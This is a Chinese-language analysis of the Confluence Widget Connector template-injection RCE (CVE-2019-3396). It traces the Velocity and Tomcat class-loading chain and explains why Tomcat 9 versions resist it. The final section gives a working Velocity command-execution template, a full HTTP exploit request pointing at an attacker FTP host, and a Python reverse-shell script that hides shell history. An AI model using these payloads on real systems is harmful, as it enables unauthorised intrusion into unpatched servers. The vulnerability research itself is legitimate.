Confluence 未授权RCE分析(CVE-2019-3396)

这个漏洞本来是上周一就分析完了,但是高版本无法造成rce这个问题着实困扰了我很久,在得出了一定的结论后才写完了这篇文章。总体来说,这个漏洞真的是值得好好跟一下,好好研究一下的,能学到很多东西。

0x01 漏洞概述

There was an server-side template injection vulnerability in Confluence Server and Data Center, in the Widget Connector. An attacker is able to exploit this issue to achieve server-side template injection, path traversal and remote code execution on systems that run a vulnerable version of Confluence Server or Data Center.

根据官方文档的描述,可以看到这是由 Widget Connector 这个插件造成的SSTI,利用SSTI而造成的RCE。在经过diff后,可以确定触发漏洞的关键点在于对post包中的 _template 字段:

可以看到修补措施还是很暴力的。

所以我们可以从 com.atlassian.confluence.extra.widgetconnector 来入手分析。

0x02 概述

分析这个漏洞应该从两个方面入手:

Widget Connector

Widget Connector 插件这个方面主要是由于其可以未授权访问,同时允许传入一个外部资源链接。而tomcat的类加载机制决定了这个可控的外部资源链接的内容是可被加载的,最终,被加载的资源被注入到默认模版中,并执行VTL表达式。 所以这个漏洞在真正利用的时候是取决于两个因素的,缺一不可。

在真正分析的时候真正的难点不是diff找出漏洞点,而是在于 漏洞在存在漏洞的6.6-6.9版本是可以利用 filehttps 等协议加载外部资源的,而在6.14.1这个存在漏洞的版本是没有办法加载外部资源的。 而这一点也是我和 BadCode 老哥交流了将近2-3天一直没有跟到的点,最终在我对比了两个版本的区别时,才推测出这个问题是由tomcat本身导致。

下面的漏洞分析基于confluence 6.6.11版本。

0x03 漏洞分析

3.1 Widget Connector

从diff的点入手,首先看 com.atlassian.confluence.extra.widgetconnector#execute

这里有几个值得注意的点:

  • 获取到的是一个 Map 类型的 parameters
  • parameters 中存在 url 这个字段流程就会进入 this.renderManager.getEmbeddedHtml (也就是 DefaultRenderManager.getEmbeddedHtml )

这里的 parameters 就是我们在向 widgetconnector 插件发送post请求时包中的 params 字段的内容。(如果不清楚如何构造post请求包的话,可以参考 widget文章 ,然后抓一个包看一下就好)

跟进 getEmbeddedHtml 看一下:

可以看到这里的 var3 是一个 WidgetRenderer 的List,我们来看一下这个List中有什么内容:

可以看到是所有 WidgetRenderer 的具体实现,在各个实现当中都实现了 matches 方法,而这个方法是检查 url 字段中是否存在其所对应的url,这里拿 ViddlerRenderer 来举例子:

也就是说在构造请求的时候需要存在相应的字段才能进入相应的实现类处理不同的请求。

在看各个具体实现时,会发现大部分的实现都会将一个固定的 _template 字段置于 params 中,比如 FlickrRenderer

但是也有一些实现类并没有这样做,比如 GoogleVideoRenderer

从补丁中我们可以看到,漏洞触发的关键点是要求 _template 字段可控,所以满足这一条件的只有这么几个:

GoogleVideoRenderer
EpisodicRenderer
TwitterRenderer
MetacafeRenderer
SlideShareRenderer
BlipRenderer
DailyMotionRenderer
ViddlerRenderer

可以看到满足条件的实现类最终都是进入 this.velocityRenderService.render 来处理的,跟进看一下:

该方法对 widthheight_template 进行了校验及初始化过程,最关键的是将处理后的数据传入 getRenderedTemplate ,这里很好跟一路向下跟进到 org.apache.velocity.runtime.RuntimeInstance#getTemplate

这里注意这个 i 参数为1,后面会有用到。继续向下跟进 org.apache.velocity.runtime.RuntimeInstance.ConfigurableResourceManager#getResource :

如果是首次处理请求的话,是无法从全局的缓存中找到资源的,所以这里可以跟进else中的处理来具体看一下具体处理的:

这里会遍历 this.resourceLoaders 里面的资源加载器,然后利用可控的资源名以及 resourceType 为1的参数去初始化一个 Resource 类。我们看一下这里的 Resource 类的实例化过程,这里我下了个断看了一下调用的是那个 ResourceFactory

注意到是 ConfluenceResourceFactory ,这里跟进看一下:

也就是说 Resource 的具体初始化过程为:

ConfluenceVelocityTemplateImplTemplate 类的一个子类,也就是说之后的过程就是加载模版,解析模版的过程。所以我们来看一下这里的 resourceLoaders 中的资源加载器是什么:

  • com.atlassian.confluence.setup.velocity.HibernateResourceLoader
  • org.apache.velocity.runtime.resource.loader.FileResourceLoader
  • org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
  • com.atlassian.confluence.setup.velocity.DynamicPluginResourceLoader

在以上四个资源加载器中, HibernateResourceLoader 是ORM资源加载器, DynamicPluginResourceLoader 是动态插件资源加载器,这两个和我们的利用都没有什么具体的关系,而 FileResourceLoader 可以读取文件, ClasspathResourceLoader 可以加载文件。RCE的点也在于 ClasspathResourceLoader 中。

具体跟一下 ClasspathResourceLoader#getResourceStream

这里在 ClassUtils#getResourceAsStream 中的处理过程非常有意思,有意思的点在于这里完成了两个操作(以下分析为个人理解,如果有问题希望各位斧正):

  • osgi对于类加载的跟踪与检查
  • tomcat基于双亲委派模型的类加载架构

当Java虚拟机要加载一个类时,会进行如下的步骤:

  • 首先当前线程的类加载器去加载线程中的第一个类(假设为类A)注:(当前线程的类加载器可以通过Thread类的getContextClassLoader()获得,也可以通过setContextClassLoader()自己设置类加载器)
  • 如果类A中引用了类B,Java虚拟机将使用加载类A的类加载器去加载类B
  • 还可以直接调用ClassLoader.loadClass()方法来指定某个类加载器去加载某个类

而在进行第一步时首先会尝试用 BundleDelegatingClassLoader 来进行类加载:

这里的 BundleDelegatingClassLoader 是osgi自己的类加载器,主要用于进行类加载的跟踪,这里主要用于在osgi中寻找相关的依赖类,如果找不到的话,再以tomcat实现的双亲委派模型从上至下进行加载。

3.2 Tomcat类加载

ok,这里比较麻烦的一个问题已经解决,我们所知这里所用的 classLoader 最终为 ClasspathResourceLoader ,而 ClasspathResourceLoader 是继承于 ResourceLoader 的,那么 ResourceLoader 的上层是什么呢,这个时候就要看tomcat的类加载架构了:

WebappClassLoader 加载 WEB-INF/* 中的类库,所以这里是转交到 WebappClassLoader 来进行处理的,在动态调试过程中我们也可以清晰的看到这个过程:

这里要注意两点:

  • ClasspathResourceLoader 上层为 WebappClassLoader
  • javase的类加载器为 ExtClassLoader 且ucp为 URLClassPath

WebappClassLoader 中其具体操作是转交由父类 WebappClassLoaderBase 来进行处理的,这里只截关键的处理点:

我们可以看到这里是根据 name 也就是我们传入的 _template 来实例化一个URL类的 url ,我们来跟一下看看这个 url 的实例化流程:

这里调用了 super.findResource 来进行处理,跟进看一下:

这里调用了 java.net.URLClassLoader#findResource 在URL搜索路径中查找指定名称的资源,可以看到这里会执行 upc.findResource ,即 URLClassPath.findResource 。这里会在URL搜索路径中查找具有指定名称的资源,如果找到相应的资源,则调用 check 方法进行权限检查,并加载相应的资源:

这里有两种形式加载资源分别是通过读文件(file协议),或者通过相应的协议去访问相应的jar包(jar协议)。

回过头来继续跟 URLClassPath.findResource 的处理过程:

这里非常好理解,首先通过传入的var1字段在已加载的ClassLoader缓存中进行查找,如果找到相应的加载器,则返回这个加载器的数组,若没找到则返回null:

之后遍历这个加载器数组,调用每个加载器的 findResource 方法,通过var1字段寻找相应的资源。在这里可以看到加载器数组中只存在一个加载器 URLClassPath$Loader ,我们跟进看一下这个加载器的实现:

可以明显看到向 this.base 发送了请求,获取了一个资源,我们看一下这个 this.base 是什么:

可以看到这里是向 felix.extensions.ExtensionManager 发送了请求,felix是一个osgi框架,也就是说我们现在需要跟进到osgi中,我们来看一下处理这个osgi请求的是什么:

我们跟进 org.apache.felix.framework.URLHandlerStreamHandlerProxy#openConnection 中看一下:

可以看到致此完成了请求的发送。以上我们就完成整条rce利用链的分析。

3.3 6.6.x-6.9.x与6.14.1的区别

当我们分析完rce的流程并成功弹出计算器后,整个漏洞就已经分析完了么?并没有。

以上的分析都是在confluence 6.6.11版本上进行的,但不幸的是我最初分析的版本是confluence 6.14.1版本,利用 file 协议任意读文件的poc我并没有执行成功,我只能利用相对路径来读取当前目录的文件,这不禁激发了我的探索欲,我想知道为啥较高版本就没有办法rce了。

在我进行调试后,我发现了 ClasspathResourceLoader 在向上找父类时获得的父类并不是 WebappClassLoader 而是 ParalleWebappClassLoader ,导致最终在 URLClassPath#findResource 时,其并未调用 URLClassPath$LoaderfindResource ,而是调用的 URLClassPath$JarLoaderfindResource

这里返回的肯定是null,并不会向外发送请求并获取资源。可以说这个问题的关键点就在于 WebappClassLoaderParalleWebappClassLoader 中的upc的类型不同,那为什么会在代码相同的情况下,会造成加载偏差呢? 关键点在于6.14.1是使用的tomcat9,而6.6.x-6.9.x使用的是tomcat8。不同tomcat版本的区别在于其默认的loader是不同的:

在tomcat9中默认的loader是 ParalleWebappClassLoader ,在tomcat8中则是 WebappClassLoader ,关于其upc为什么不同,这一点我推荐各位看一下 这篇文章

0x04 构造POC

这里其实改一下poc就好,正常的写Velocity的语法就好,下面执行命令的poc引用 https://github.com/jas502n/CVE-2019-3396 :

#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
    $scan.next()
#end

反弹shell的:

请求

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.10.20.181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Referer: http://10.10.20.181/
Content-Length: 232
X-Forwarded-For: 127.0.0.2
Connection: keep-alive

{"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"ftp://10.10.20.166:8888/r.vm","command":"setsid python /tmp/nc.py 10.10.20.166 8989"},"body":""}}

nc.py

# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
    print 'python reverse connector'
    print 'usage: %s  ' % name

def main():
    if len(sys.argv) !=3:
        usage(sys.argv[0])
        sys.exit()
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        s.connect((sys.argv[1],int(sys.argv[2])))
        print 'connect ok'
    except:
        print 'connect faild'
        sys.exit()
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    global shell
    os.unsetenv("HISTFILE")
    os.unsetenv("HISTFILESIZE")
    os.unsetenv("HISTSIZE")
    os.unsetenv("HISTORY")
    os.unsetenv("HISTSAVE")
    os.unsetenv("HISTZONE")
    os.unsetenv("HISTLOG")
    os.unsetenv("HISTCMD")
    os.putenv("HISTFILE",'/dev/null')
    os.putenv("HISTSIZE",'0')
    os.putenv("HISTFILESIZE",'0')
    pty.spawn(shell)
    s.close()

if __name__ == '__main__':
    main()

效果:

0x05 Reference